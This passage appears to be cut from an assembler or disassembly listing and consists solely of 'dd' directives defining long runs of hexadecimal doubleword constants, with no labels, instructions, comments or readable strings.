		dd 68B30178h, 431C01A4h, 2BC55725h, 0F3481F80h,	0EF68E969h
		dd 35DDB36Ah, 0DEAA2974h, 61E90C7Eh, 1CC11731h,	0D7A218CCh
		dd 83960B29h, 0E380160Fh, 202E71A1h, 8E7F7EC0h,	5C0128EDh
		dd 0D716B9DAh, 5DAF05Ah, 4A029512h, 13B4D500h, 0B4213E5Dh
		dd 0FFEF4398h, 94D60340h, 7C9F8BB2h, 33F953B9h,	0B5E58F28h
		dd 0DF42040Bh, 7CDBE7EEh, 0CAF1EA4Ah, 4F50CA6Eh, 4B5BE9CBh
		dd 72035F9h, 0CC80ECD0h, 0EE06DC67h, 52F5C461h,	0DED2Ah
		dd 3010B258h, 0F7B35BFAh, 3FDD71h, 2723BFA8h, 0F1966664h
		dd 0FA0B9828h, 0B84B6955h, 0CB2B8D0h, 0CEE97CDCh, 681666D7h
		dd 68A27626h, 0C4D59725h, 0B85000DDh, 61512C92h, 0F0B6635h
		dd 834818E7h, 0FBF2B86h, 0FC305CBCh, 370CEC05h,	0C4528EA4h
		dd 0B1E4EEF8h, 0DF85BD9Dh
		dd 0E4F7BB5Ah, 40E95781h, 0CFBB34A3h, 5248FDFEh, 2ED90034h
		dd 96BA4B36h, 76F82F8Bh, 7B40635Ch, 905261CEh, 0A7FAB52Ch
		dd 9A4CE917h, 0F1020FEDh, 0F36CCF10h, 0A554F4E2h, 0D7748589h
		dd 60205D44h, 216807C8h, 0A212C90Dh, 0B7A15482h, 0DE3669FBh
		dd 822172FDh, 4F9F7E7h,	0DB579271h, 6D17EEE0h, 0C7E61F0h
		dd 406622ECh, 313CC68Dh, 0C059234h, 6533B1AEh, 42ACAFFCh
		dd 5AB6F7D2h, 987E8820h, 34814C28h, 0D4654DFh, 48EC5018h
		dd 1017A9BBh, 3940793Ch, 7505E8D1h, 19DE1E55h, 342580F7h
		dd 0D0A5913h, 0F13AEB00h, 0D7930541h, 12F25F44h, 309C9D6Ch
		dd 3C4B317Dh, 70826834h, 161274D5h, 0CF5EEF05h,	71E11B92h
		dd 0F124D93Bh, 21846BB2h, 0BDC9ACBAh, 12B6A93Bh, 24FF40D4h
		dd 7224AAD3h, 0D14A75B7h, 965E9EDAh, 93EDC761h,	0B6CD0450h
		dd 6DEC89E0h, 12F56725h, 1192BBBEh, 14ED03Ch, 66347CB0h
		dd 7107E8C0h, 4122EACh,	0CC86F2BFh, 503051C4h, 9C0FCF3h
		dd 0CBFE05EBh, 703F5B56h, 5234C360h, 6B862CB6h,	1F51FDEh
		dd 0C2EEE96Bh, 4BB9E93Bh, 56FBF99h, 0B3585B6Ch,	76131002h
		dd 7E6C112h, 0B3D6F78Eh, 0E71793A6h, 398D389h, 0E8945ABEh
		dd 5700D6FBh, 1BA16B11h, 97402BFh, 0F7314EC3h, 0BBCFAF40h
		dd 394BA8E8h, 34A285F2h, 72BE003h, 0D1FFC71Fh, 41C9A5EFh
		dd 34DDB0C6h, 73FD6EECh, 4AC3FE7Ch, 57932397h, 2C449205h
		dd 36821CD0h, 6259074Bh, 15907146h, 0D4BDB568h,	7AC06084h
		dd 0A8C161AAh, 9E558544h, 86602465h, 0BCD182B6h, 0EDEB8085h
		dd 0A1E9CC03h, 0E3AA8450h, 78AC5B77h, 8530125h,	9F947DA7h
		dd 68E1F705h, 49536AD9h, 6CB7A2C1h, 72D5A707h, 0BB55B30Fh
		dd 7D9CD9DEh, 56F69383h, 7362F328h, 0DCE6BAh, 0CEFE09B6h
		dd 0F85C8072h, 0D3B33050h, 272ABFC7h, 3F8FE8ABh, 0EA3DA8C5h
		dd 0F6EAB135h, 76EAC05Eh, 9F1D4959h, 0D22DD770h, 8269CE75h
		dd 0F2DF0425h, 0B8A1FEECh, 827D5774h, 187FAEE2h, 1657EDEBh
		dd 9C815FCh, 0B3D4DB93h, 55476862h, 0F01350E3h,	24A3BFA4h
		dd 0A9912C4Bh, 8AFA784Ah, 0FE277DDFh, 2C287A4Fh, 1688425Eh
		dd 2BCA335h, 1DA81534h,	0B8FAE343h, 7353AE6Eh, 98A19AE9h
		dd 5AEAB0D9h, 6D24EE6Ch, 61C10C1h, 0E1A1C39h, 0C1D7570Dh
		dd 0A82AD3B7h, 30FBA42Dh, 34B9EB4Bh, 16CD11Dh, 82079AEh
		dd 64BC5D4Eh, 9141E9C4h, 7F5A516Ch, 3578245h, 4FF7DAAEh
		dd 0E917948Ah, 0BE23F0A0h, 0FC10D20Fh, 976B4541h, 0D86C944Eh
		dd 0F8EB88DEh, 0B10C9A30h, 172F8B80h, 0B92FEA96h, 251DE561h
		dd 9AFB4982h, 0A14B6475h, 438051D8h, 543DF6E2h,	0DA01F737h
		dd 0C6CCBF57h, 7B71DE05h, 512E3D3Ch, 217417C6h,	0FC5D3763h
		dd 1DBCD0F4h, 9E85046h,	0A0D5477h, 304B9543h, 5C06C9BCh
		dd 0E8740475h, 7D822379h, 0D5F75803h, 45A6C805h, 68717CEh
		dd 0A3141A12h, 0D35FFB98h, 7C6FD9D8h, 0EE027A74h, 0DD6A5EDAh
		dd 7C68EC5Bh, 285816C1h, 706266FAh, 0E5F5711h, 2C49A8E3h
		dd 14AA0C43h, 0F9628777h, 45FE7C1Ch, 0FADE01BFh, 4C9B252Ch
		dd 0CDD472F8h, 2C5EC306h, 55020C0Fh, 0E90C2AA5h, 1BE548Fh
		dd 8038B753h, 0F798DFEFh, 882D5065h, 232DFEF8h,	5386BF31h
		dd 0EE8870B3h, 0E1D70F30h, 161E3AEEh, 6291AD1h,	0CD136522h
		dd 6020C105h, 0DC0157B5h, 48583E76h, 2FD50E60h,	4856365Ch
		dd 782DC03h, 0C6E9E0D6h, 0A0B85023h, 46A26886h,	5FC83FE7h
		dd 0B39210D8h, 2D8B2F22h, 0FD4C17C4h, 9F178098h, 2A06C31Ah
		dd 0A1214B08h, 852E7F57h, 0D4C9AD57h, 0ECA6167Bh, 1B2CF221h
		dd 9BF9D5C2h, 982F10EBh, 88FF71B8h, 4B54F668h, 6ABFBD47h
		dd 81A97403h, 3B9454C9h, 50118A29h, 44270AB8h, 5B5497E4h
		dd 0ED049E48h, 1582F21Ah, 1A7257BAh, 49F736B7h,	2158471Fh
		dd 0B57AD740h, 6925D8E6h, 88B3D922h, 0BE1C9DD0h, 0EE052A28h
		dd 1E1707C5h, 0DAB1EFh,	87FAE908h, 24A16CB5h, 0D0EF7455h
		dd 35804C42h, 7F091EB9h, 853E8B84h, 9282E577h, 0EA221656h
		dd 3C6A169Dh, 69F6E9DCh, 132759B5h, 6DAAB82h, 2D202A58h
		dd 9D27FE8Eh, 9A094651h, 908920AEh, 44814E26h, 8642D06h
		dd 2C5C3C0Ch, 718F7EACh, 2DEA8052h, 3E2AD205h, 4A689055h
		dd 0AB8D7564h, 16703480h, 37365D50h, 342F680Bh,	61F7B075h
		dd 0AC3F4B74h, 1FAC5F5Eh, 0F614700Bh, 97173D05h, 4184C92Ch
		dd 595F0035h, 9501EF83h, 0CD66E480h, 0C75E0939h, 3E42E900h
		dd 2F4D177Eh, 0BEFCD587h, 8FFF8249h, 20B0E492h,	0A098FA2Fh
		dd 0F6E029BFh, 14B8C07Fh, 0F1A8F7Ah, 0F40B1035h, 3BD38960h
		dd 55C2C65Ch, 0B3E9180Eh, 0DBD0AE4Eh, 95837E77h, 0C2F47B86h
		dd 0A6683209h, 3494F749h, 0A526029Ch, 0E533800Bh, 0C4560949h
		dd 4B69BE96h, 0EA3475E7h, 20C5B5h, 24A6857h, 5F5076DBh
		dd 0C1A3FFAAh, 8742F9A0h, 0D4E95708h, 815E162Ch, 7E77B2B8h
		dd 0D113398Bh, 68D03067h, 0E69D5A91h, 26083A6Ch, 54E97105h
		dd 8CFBB72h, 0D4770500h, 55E9FE60h, 0EEE9F364h,	4BC0F1ABh
		dd 0C3CC4B79h, 7060B557h, 3AC0BE84h, 4001E568h,	3099B06Bh
		dd 5329574h, 867B1410h,	0F45A22B7h, 0F5B242D9h,	0A2897042h
		dd 0BA05E4D0h, 4E943163h, 50C59AC7h, 903FE0A1h,	0FC5B6DE0h
		dd 98742F62h, 94ED2D5h,	0A365ED0h, 0AD9F557Ch, 0A8AC5EE0h
		dd 0F3052EBCh, 4C0FE83h, 75C38284h, 69C1A131h, 0E0C203BEh
		dd 0D9615801h, 489D21AFh, 1EF5A5F7h, 48822EA9h,	0C6B40ACh
		dd 61F66DDDh, 16398359h, 2CC75BBh, 7199BF1Ch, 0A2A22031h
		dd 5FE23B13h, 0FAAE24EAh, 149195F2h, 8BBAA05Fh,	27029CBFh
		dd 0B6817E68h, 6B4020E9h, 85DD744h, 672CCD88h, 0D0B8F2E5h
		dd 557CDA16h, 2C58925h,	7D67E923h, 0DAC5FD0Bh, 0A13AE962h
		dd 0D7015B95h, 36D8AA87h, 3B00B9E0h, 3A13E828h,	5025C1BEh
		dd 7749AE9h, 0F65F9F05h, 14CCA31Dh, 0C4BBAB02h,	841B2E10h
		dd 4EEAF0A4h, 0E36E0319h, 0E85CC97Eh, 3605DCFAh, 46374B21h
		dd 0DD507DC2h, 0D17F939Ah, 3CE62C43h, 1CFD562Fh, 0B5287DE2h
		dd 8950B45Ch, 4CBE0B75h, 4B23CBE9h, 2EA8B3BAh, 0F23D817Dh
		dd 9629787h, 28238C01h,	0C824EA5h, 50C2684Bh, 0A2AEE455h
		dd 7F734264h, 827D3CEAh, 902AEB87h, 3DA240F0h, 149654D5h
		dd 233CA475h, 96E10C3Ch, 25453358h, 309869FEh, 5A13B404h
		dd 98D16C55h, 148F4A85h, 0B17BB54h, 9716E89Dh, 51046FCAh
		dd 0DC0B36E9h, 0D4318BBh, 0B2507264h, 5F4CCB8Ch, 6A0626Eh
		dd 262F3319h, 75CF8917h, 0F501C702h, 4B94941h, 0BE3380FEh
		dd 37145972h, 2FA24E5Eh, 0AD65C039h, 8DF49705h,	0D9C2D03h
		dd 0B8A0F7D2h, 17348604h, 0EA8407E9h, 5B9DD688h, 3B34BE79h
		dd 0B6C440AEh, 0B05053D6h, 0B7068B74h, 7DF9E90Ch, 20B2902Eh
		dd 924E6F0h, 2169AFEh, 0E97AE2A1h, 0F103B403h, 80DE0233h
		dd 1F2FB525h, 4E051579h, 809E722Eh, 590651B9h, 239E8C1h
		dd 40841A2Dh, 4766240h,	0B5E110D4h, 582CED2Fh, 536E2DB3h
		dd 0EDA8626Ch, 0DC9F09C6h, 66E9E20Bh, 2AB8E3FCh, 0A9F0262Ch
		dd 4C5F7671h, 8AE086ECh, 58677B19h, 2342900Ch, 0F2607F2Ah
		dd 0D52D3B3Dh, 0E9374028h, 0A28E5BD6h, 9C9F84A3h, 942874AEh
		dd 0EBC757A8h, 0B15DF32Ch, 21BD60A0h, 20E5681Fh, 72120A1Fh
		dd 2B006B0Ch, 615F7AFFh, 9FD7287h, 9B45E9CFh, 4788F446h
		dd 5D821952h, 0C33153E8h
		dd 7807D890h, 0E929A70Eh, 0C1F45284h, 4C7F26A2h, 76C10705h
		dd 893AE0B5h, 0C52DE9CDh, 4D3F68EBh, 4E393D47h,	21421DAFh
		dd 8C96D955h, 0DEDB2290h, 0B5B22EEEh, 0F8215C09h, 1F52775Fh
		dd 0E915D0E4h, 81CF2858h, 7E715752h, 5B1EB06Eh,	0BD02CFB4h
		dd 5F9D1ED6h, 0D4D2885h, 8013D984h, 53555DC6h, 2F4E5168h
		dd 4A223510h, 130EF007h, 41E80EB0h, 6CFC31ADh, 1CCDD610h
		dd 824E286Dh, 7FFCCB18h, 0A708C527h, 51D57BE2h,	69964988h
		dd 68C09095h, 1A9B9F87h, 3C59AD3Eh, 80DC549Eh, 7D84E895h
		dd 0CB15C94Fh, 0A66FFEFCh, 201B12C5h, 297A2D64h, 24DD8DA2h
		dd 0ECBF5887h, 5F6DDE79h, 8B54BBA1h, 68BB2B34h,	6F5B618Ch
		dd 0E9C5DEA6h, 0E0DE570Ch, 87E6BCA0h, 1A0F7360h, 8849160Eh
		dd 70B1FCFh, 508BE97Eh,	3280B797h, 74791CE8h, 190F28B8h
		dd 8031C33Ch, 1FA55DF3h, 13D4B7A2h, 0D9BBE984h,	2F69A7FEh
		dd 3D8AE401h, 0E5BDACFDh, 0DBE2FB94h, 7800B4CBh, 20E1B353h
		dd 93E0DC4Fh, 481D7CC4h, 1E3033E3h, 47C9E6C9h, 805D9F25h
		dd 1306C35Ch, 0DAE91744h, 0F41FB464h, 7C5F687Fh, 0F70356FDh
		dd 5A965C1Bh, 90098674h, 7529F825h, 48026629h, 18FF200Dh
		dd 959AEF1Bh, 77B79E22h, 60A36801h, 0AD8C8D7Eh,	33ED3E0h
		dd 8672552h, 0AA9D5ECEh, 2E0E759Fh, 0F70F8960h,	5F88C20h
		dd 0B42575DBh, 0D7CE922Dh, 0FFC9D453h, 0A9128C85h, 69BCA282h
		dd 247D5937h, 7021EAF4h, 0A83F61F0h, 0B54D476h,	85B06C47h
		dd 0A386D50Eh, 335C5B59h, 3B02D3E4h, 0DA9D64BFh, 682752Dh
		dd 3DDF289h, 77ABBE65h,	0E36BF738h, 0EAE94ADCh,	0FD850F04h
		dd 0D3B5ED63h, 0E8B32CEBh, 4A9E7004h, 46B0D4E9h, 91D00AF7h
		dd 1F9BA52h, 0D1216B5Ch, 0E5D0FAE9h, 174C8062h,	0FF396A8Ah
		dd 11BF7EE0h, 6FF83D13h, 0F56AD4F1h, 6F0B07F4h,	781E9401h
		dd 0DC18AD77h, 605D98ADh, 5BB8C15Ah, 3D7681Ch, 72DC7C2Fh
		dd 3314F3C0h, 3CD8DEB5h, 9A2B879h, 0B21BB7FAh, 0DB6692DFh
		dd 6BE904A5h, 1CCAAFA3h, 6544BE5Bh, 560BA81Fh, 33470EE0h
		dd 463A2214h, 2CEE3AFAh, 8C1282AAh, 40519D82h, 3E61E78Ch
		dd 0F4253070h, 6B24B045h, 0D590672Ah, 25F6724Ch, 5C411A4Ch
		dd 0C1632577h, 2A9F1F55h, 8BBF5184h, 508B44BBh,	0E2BF719Fh
		dd 545CD8E9h, 0D4395913h, 0DB2B217Fh, 0C5FDC234h, 0F9AA62Eh
		dd 0B47720E9h, 6C4E041Dh, 51CFB7E2h, 0D7426FC9h, 0C2DCF955h
		dd 4D68657Dh, 2C9059CEh, 953C2F14h, 10B77EBBh, 62743A87h
		dd 6E461622h, 68136666h, 16A36696h, 3F90AD10h, 596E135Fh
		dd 98D8Ch, 81374161h, 6B162ECFh, 0BB530D00h, 0C09488D5h
		dd 5BDF2701h, 1379B342h, 6473D6ECh, 0ABE55920h,	0BD5FC18Ch
		dd 74CA629Ah, 1AF25340h, 817E8800h, 9D57ABE9h, 0FC48BF38h
		dd 0B012D5F1h, 2FB117Ah, 5F5747Bh, 8A0B8F6h, 2FE9590Ch
		dd 7B86663h, 5EB572BDh,	0A78FB397h, 315BF016h, 8C5D54F1h
		dd 0E842E7CDh, 84567E9Ah, 0C242A925h, 0E874A415h, 5E685061h
		dd 3875843Ch, 0AF5A6CA6h, 29E96768h, 9F57751h, 666A291Dh
		dd 0F38F5DEAh, 0E24572A5h, 65AC0791h, 40C36F90h, 8FEF85A5h
		dd 3BFB5947h, 302F121Ch, 0C8C30C90h, 3A322D2Ah,	8A08556h
		dd 170DB9A2h, 4DEE301Ch, 980464BDh, 2D6D0767h, 9BD167ABh
		dd 487B6921h, 5C06E02h,	5E6E3975h, 0B729416h, 71FE5E08h
		dd 73D85DC9h, 0A0365F95h, 0E985D0A5h, 0AF449D4Ah, 69EA11C6h
		dd 5841374Dh, 52418571h, 0E9B961EEh, 18AC6F2Ch,	5FBF6809h
		dd 0BE0DBA79h, 0EB2B1A5Eh, 9B001874h, 9CF0F29h,	0F1284AE9h
		dd 2F2C7E38h, 5E39921Ah, 1201E830h, 0FB3219A2h,	44750BE0h
		dd 0EB9590E6h, 0B54422A0h, 6E5FEBE0h, 0EB3EC1F2h, 0E214E902h
		dd 0F2AFD7C1h, 0A407D86h, 700C31B0h, 855D9568h,	547440ECh
		dd 359A34ECh, 2003F095h, 0D003851Ch, 2AEA80E2h,	7FC5B728h
		dd 3CC18EF0h, 151705EEh, 1B8BBFB1h, 1F9AF94Eh, 4F786851h
		dd 0B72B7B6Dh, 8EE93FABh, 0A54E2123h, 0EC4413E2h, 3EB3201Ah
		dd 0FC32FA02h, 0B1775D4Eh, 94546C03h, 0E70EB0EEh, 0FF2E5D41h
		dd 2300221h, 2C1A302Bh,	1116A303h, 60EBDF31h, 6CCD6816h
		dd 0DD6BDBBCh, 2D5B9B60h, 51114C09h, 4702FF75h,	4E555CBDh
		dd 60DBBF21h, 0D959C809h, 0E7F9AFF2h, 0C2EF30E9h, 0F61F1EA2h
		dd 8B4DC983h, 243C2279h, 2D815207h, 6CC5811h, 16BFF06Bh
		dd 1975BB4Eh, 58B33CEAh, 0F11D0EB0h, 84A5E663h,	0D2ACCB96h
		dd 87D45D2Fh, 0EB466541h, 3987FC64h, 0FBCADC28h, 99E9FA45h
		dd 0C8BE0990h, 7B720064h, 9E1235BDh, 0F50A2933h, 0E610D9E9h
		dd 1207958Eh, 4AB7F6BBh, 0E91798ECh, 9DD05222h,	8969F480h
		dd 0E1BE8292h, 275CF908h, 14251DEh, 94CA0F54h, 0D2DEB08Eh
		dd 0D487CC4h, 197E1D88h, 0C009BDEEh, 4E515583h,	0F20041A9h
		dd 6ED17F16h, 647AE701h, 76ACEA15h, 7AADC1C0h, 2924579Ch
		dd 8205ED9h, 0FCB524B0h, 35B69F4h, 0B4A91B12h, 28B25B24h
		dd 36D050C6h, 0E18CE0E9h, 498E76Fh, 5BA55E02h, 551049F9h
		dd 0D4CB4197h, 1B7E6F0Dh, 78FB0C4Fh, 242DE9CEh,	0A5C9D16Ah
		dd 0E9420F59h, 12B8D46Dh, 0A140BB2Dh, 1A0B6905h, 699BFE3Dh
		dd 0F200C3AEh, 6B7724FAh, 9494539Dh, 27DA85Ah, 0E9785D0Ah
		dd 20556A3Ah, 52328CCh,	4AC2F645h, 78E9C91Ah, 3B55B1D9h
		dd 603129ECh, 7AF572C5h, 277A9E47h, 75BFE94Bh, 297E612Ch
		dd 98F62FCAh, 0CC70892h, 67215812h, 0DA238AD2h,	34AAF04Ah
		dd 9E732C28h, 0BDDD0C20h, 6F43F420h, 3099540Eh,	0F5252909h
		dd 7E80598h, 1EE6404Ah,	5801AA60h, 0BD16562Dh, 0B9ADF520h
		dd 54C41C73h, 0C331A5E4h, 75B2D084h, 0C3F2E913h, 4FAAD756h
		dd 8F537221h, 3BE04CB7h, 40F8F9ABh, 943218BEh, 7382D702h
		dd 0A8775BF5h, 282C02BFh, 2D173A1Eh, 62C97209h,	4E5B7DD4h
		dd 0E40055C8h, 81750357h, 56E09C7h, 51001502h, 19534E1h
		dd 0C909F7F8h, 801F875Dh, 0C2130991h, 0CF290B6Ah, 0DB782DE9h
		dd 2F875B5Bh, 57BB32E0h, 97FCFDD1h, 49F9B584h, 0F9018689h
		dd 2A02AB81h, 319054Dh,	0C2011398h, 957E29Ah, 7A5EFECDh
		dd 0D533625Dh, 6649417Bh, 5E0DDE3Eh, 8F5D9EEh, 0BDC16555h
		dd 349DDEDEh, 5DCF233Fh, 25EEA2E4h, 5E2B7F51h, 0B7454F81h
		dd 18FD6F65h, 0E5022C88h, 0DDBEDFE9h, 1A95E6B0h, 93765B95h
		dd 0B98CB0B3h, 30F96705h, 0F1AB3152h, 2266D92h,	7E6571EDh
		dd 7DAB4011h, 30C3283Dh, 0EA807F6h, 0A4E921CFh,	0A7BE00A5h
		dd 0BF6A0B22h, 8E1397F4h, 74BB4485h, 0BCDC13FEh, 4C13DEADh
		dd 0F6BFFB40h, 2576CD36h, 0D942D7F7h, 87B60F80h, 295B2B50h
		dd 294F71A6h, 2DE62E72h, 2643AF4Bh, 7BD1215Ah, 1ED52787h
		dd 6ACBBA18h, 27ABC94h,	0C8BA0389h, 1754CA7h, 0F3350B9Bh
		dd 3B492E3Dh, 0E14D9D04h, 7ECD8EFFh, 9A7BB62Ch,	0ABE5D18Ah
		dd 0CBBDFC02h, 0B5E940ACh, 1FDA2540h, 51395954h, 6EEC6108h
		dd 17B41100h, 1480D4F6h, 0F8C0E6ECh, 0F24CFE3Fh, 13BE882Ah
		dd 6980941h, 36B0E598h,	65E468FCh, 905BEA9Ah, 515EEF82h
		dd 7468051Eh, 92A2B922h, 2C1FA4FAh, 2AF1B55Ah, 662E90D3h
		dd 0AEB63C52h, 5118BB33h, 0E82851E7h, 685AF859h, 8EDEED59h
		dd 0EAC002B2h, 0FF62C104h, 66020C81h, 0D2209E68h, 48C09C72h
		dd 0FEDDF65Ch, 0F3804CCDh, 35568837h, 0AEC8EEC7h, 305A26B1h
		dd 26D82DBAh, 0C1805C07h
		dd 7684E9F2h, 4FD1CEBEh, 407722A4h, 0AF903116h,	5909CDE6h
		dd 5EEF8957h, 425C3DD3h, 0E5DE9F7Dh, 0DA1542h, 0D52EC868h
		dd 0E9A0255Bh, 321A0B47h, 0A88389E1h, 27259669h, 5D56C402h
		dd 0D18F1F7Ah, 29B0053h, 519ED40h, 5124D009h, 20C77652h
		dd 96C3B407h, 84860B55h, 2A6769FEh, 2FB9C649h, 3BD9E5EBh
		dd 45835844h, 0E2931172h, 49331741h, 3B43B043h,	0BCD7C44h
		dd 5C6C137Bh, 14C35DC0h, 5B151B12h, 0FA0B41FFh,	2A4ADF73h
		dd 903A6AC8h, 0EF614AD6h, 0A81600C4h, 1E51EDE0h, 527267DEh
		dd 4AE9E885h, 2F932DFAh, 0C112CBFh, 28BAC35Eh, 0E98802ACh
		dd 0F795C9Ch, 604B4081h, 5812E21h, 0D525A284h, 0BED60822h
		dd 0B5A80218h, 3E929FCAh, 13857D60h, 2D4A7D01h,	5AA5032Ah
		dd 2C6DCCD4h, 27867A77h, 0B21EE7D8h, 0E4F0E234h, 0E81C5Eh
		dd 0F262D3Bh, 0C829677Ah, 59070550h, 2EC1892Ch,	2723089h
		dd 6916E9AFh, 7CD9400Eh, 2ACE992Eh, 229BD4Bh, 765E0806h
		dd 1E09C36h, 82E97E2Fh,	98C83FA3h, 44D55F89h, 990C2Eh
		dd 3054BE56h, 22524C71h, 9B4B510Eh, 5B82FFD7h, 2D3BEBBCh
		dd 15DDDD3Eh, 9D562796h, 5A340616h, 852480FBh, 3707D739h
		dd 452BE281h, 0E3C33F55h, 0B87B1D9h, 9FFA9970h,	0F59ADD13h
		dd 944A61C0h, 4382BA94h, 0DD599B4Dh, 0F497C607h, 554D031h
		dd 0EA3A39F2h, 5B13F309h, 31FADF98h, 2B896718h,	0E93F0979h
		dd 73CB1012h, 0D44EB248h, 0E4B2BE72h, 77F4C1A4h, 5197741Ch
		dd 0D6595432h, 887FF690h, 0B8136474h, 186D9100h, 28CD3540h
		dd 27B74466h, 0D1A2386Bh, 127DD453h, 55084AD0h,	1C458E5Ah
		dd 0E0C263E9h, 971965B9h, 6DB0E54Eh, 5B3AC896h,	63BB0504h
		dd 0EFD2F704h, 0E6B79B41h, 922BB812h, 7AF5ECFAh, 3CA80F65h
		dd 0CC646447h, 0B90FD0F3h, 102E3778h, 2D00F658h, 0EFC88743h
		dd 0B7C57A01h, 0BA58D556h, 0C87D82D8h, 0CCB5D2C5h, 9F68C611h
		dd 0E96F642Eh, 397CEE07h, 0E4E974F4h, 4B1E109Fh, 0F98AD0FBh
		dd 4D7ED06Ch, 9C740E2Dh, 80FAA080h, 0A210423h, 0B828D4E9h
		dd 7D50CB93h, 9CA0A045h, 0DE2D4B9Ch, 55CCE0C9h,	0E9187B05h
		dd 0BF22709Dh, 19E8F9D1h, 0CB59BC31h, 5B6B28F4h, 0FFDD17CEh
		dd 0DA6A7321h, 351FD679h, 0A7FC9C3Dh, 318C29FEh, 0EAAD3415h
		dd 576813D8h, 7EE7611Fh, 34757A97h, 487F1C82h, 0F0505624h
		dd 0FB72B7FBh, 0C766570Ch, 4A406E3Bh, 326AB048h, 0C631CF16h
		dd 0B9E24ADh, 6A0C3EF2h, 0C003E40Ch, 12E9ECD0h,	0F2750265h
		dd 195902FEh, 72F8C880h, 6EB00685h, 2BAE340h, 7CF14680h
		dd 3D78EA83h, 433EE209h, 2CA48013h, 4F1469h, 8F58A225h
		dd 1BE42D62h, 485EC91Dh, 8B415983h, 0E685D964h,	886E5CF5h
		dd 0FD3868B6h, 2AAE5F3Eh, 6E445244h, 3F462380h,	5BCAB04Ch
		dd 27D32611h, 86FC01BBh, 0E631E6E9h, 97B58340h,	0E1EEF48Bh
		dd 0D6C13A02h, 212E58F1h, 70645C1Dh, 1DFA024Ah,	942D8D94h
		dd 2D5C0247h, 0B657AD9h, 1A51BA81h, 44B9214Ah, 0D808420Dh
		dd 158B055Bh, 3325C272h, 77E329FBh, 5590A20h, 0BB095BCDh
		dd 0D8B0E96Bh, 5F5427E2h, 4D0F3C55h, 0D7137453h, 0EF8A2C03h
		dd 0BC3E4309h, 40D60D77h, 0C91C0806h, 0CBDDF0E4h, 8437FB86h
		dd 0E0C0B9AEh, 5A31685Bh, 2EF1B346h, 3B3AC7ECh,	0DAEA2EE5h
		dd 5795BC20h, 0D8307498h, 0BA0B6599h, 0F8027454h, 0F973F766h
		dd 15D46812h, 0CC44DEDh, 386FB654h, 0C431DA58h,	0D407BD53h
		dd 0E198BE40h, 2B313AC1h, 0BC5BB9Ah, 348919DDh,	1319F7FAh
		dd 680AC4F1h, 0C8EF7751h, 4A097C2Ah, 152DBF7h, 1F78AE95h
		dd 99D13321h, 0C3B05B02h, 56524D68h, 0BA3A104Dh, 4E1EC5Ah
		dd 1F1B1062h, 5F04EEBCh, 0C47FE43Bh, 0D540AE5Bh, 3E27DAF6h
		dd 80295E79h, 1ED4C7CDh, 43678D2Dh, 0AB7DE826h,	1E2A9036h
		dd 655D5ABDh, 0B97625Fh, 688EC808h, 0D9634A36h,	5A6927ABh
		dd 91098421h, 25789773h, 0BBFB3292h, 0BC111A3Dh, 525D525h
		dd 8080E04Dh, 5D28CE2Fh, 9F7F429h, 0AE620282h, 62177659h
		dd 35463BB1h, 935BF095h, 651D098Dh, 5DE9BA77h, 6AC28A71h
		dd 4267D13Fh, 5E01E8FAh, 0F020C083h, 0E72EEDD1h, 5EE85A4Eh
		dd 0D46E9B0h, 17FC6881h, 0D9169D74h, 2C1269B0h,	0EBFE311h
		dd 0EA125F18h, 0C1C56BF2h, 487A90E8h, 5D7C102Ch, 0CC01EE26h
		dd 29165E0Eh, 2AA05553h, 0B02674E3h, 22AD055Bh,	3E5DF15Fh
		dd 47B8C241h, 41CE1B1Dh, 9025F89h, 0D66C05F5h, 1B37B97h
		dd 11E3C1F9h, 3850293Eh, 0C3497F67h, 2ACA4E0Ah,	29AA110h
		dd 0DC3AF1BDh, 89F2857Eh, 0C46E66E1h, 0A606EF99h, 0B7726F98h
		dd 896FFDF4h, 0DB466371h, 0E6F4B94Ah, 0AF40B933h, 65FD8223h
		dd 445D2560h, 5214252Eh, 8A0BA55Bh, 87CF5655h, 8BCB41B8h
		dd 0DDF04D43h, 4D48FB47h, 2EF306DFh, 0B18043Ah,	2D1113DEh
		dd 0F979F842h, 640216BFh, 0A40419A3h, 83ACC5C4h, 4B80E4B7h
		dd 0A2CE917h, 60422580h, 4A126109h, 0E1730E80h,	4E91B74h
		dd 7D8C29B7h, 0C32F69E6h, 1A519802h, 65EF2D10h,	9F8871C5h
		dd 1323266Bh, 5BD8F42Dh, 364E5DECh, 3A19A8E8h, 305468CFh
		dd 2140133Fh, 52680D51h, 60E25B15h, 66487E26h, 0F6893527h
		dd 0E982C0A2h, 5DA711Ch, 264B1B04h, 0BC04020h, 4FC86FC2h
		dd 62FEBD04h, 0E2143F2Eh, 0E080FD61h, 191E2133h, 8C01CEFEh
		dd 0E92CD059h, 0E52D7040h, 9606D707h, 7D39B201h, 0FFA759D4h
		dd 0C3310E98h, 0C22D5802h, 615AC63Bh, 7430543h,	0ADE2B45Bh
		dd 84DD542Fh, 0F2EA2CDFh, 6FE9B0A3h, 0AA68978Eh, 59E68103h
		dd 4E533F13h, 22F1A001h, 8B6028EDh, 0FD3516B5h,	1373FC2Eh
		dd 5540EA21h, 5FB951E2h, 3D072410h, 0D5B1A27h, 0B058FDFh
		dd 0F7B6C0F8h, 5EC4B8D3h, 0EA6AA441h, 524ECB0Bh, 0FB3BA242h
		dd 89526595h, 0B071E5C8h, 0E84D7A82h, 704BD672h, 0B73E6E77h
		dd 76F50207h, 7D73237Eh, 330CDBFAh, 1E6A7724h, 13191875h
		dd 0B4431872h, 0E93F4204h, 2A9AE65h, 0FED1F6C1h, 8996FCC1h
		dd 6CC346ABh, 3A3B58Dh,	1ED2C3C5h, 0C1591B49h, 9AB17AF3h
		dd 306DD83Ah, 0FAFA76BDh, 0A62817Dh, 98EFE1C0h,	48005E9h
		dd 76856C1h, 4732BE1Dh,	8DE655CCh, 663BB409h, 2E925553h
		dd 9D392D61h, 93BEF365h, 410B6A85h, 41BD7E84h, 77C9E68h
		dd 590818D2h, 0FC3E9316h, 6685E67h, 318BBD77h, 0B70EFFDh
		dd 8C1B61DCh, 224FB3C1h, 43400589h, 0D8805A7Ch,	5FA4E886h
		dd 9D418115h, 0E27435F6h, 3D005BD5h, 0B244EA4Ah, 0FF9028E9h
		dd 9D05D029h, 515AB148h, 6F0BCB90h, 5C71F379h, 111FDCh
		dd 0E977B921h, 0F0B7EF94h, 7603B7A6h, 997E653Ah, 0AE1B8D09h
		dd 0C91B832Dh, 0F54BF27Ch, 80DF34Ah, 5814011Ch,	0B359F45Eh
		dd 95094E95h, 5955F5C2h, 0FF1497E7h, 0A42A02DDh, 4F0515DBh
		dd 0C4E945B7h, 11AD0895h, 11C5173Eh, 224376C0h,	7909929Eh
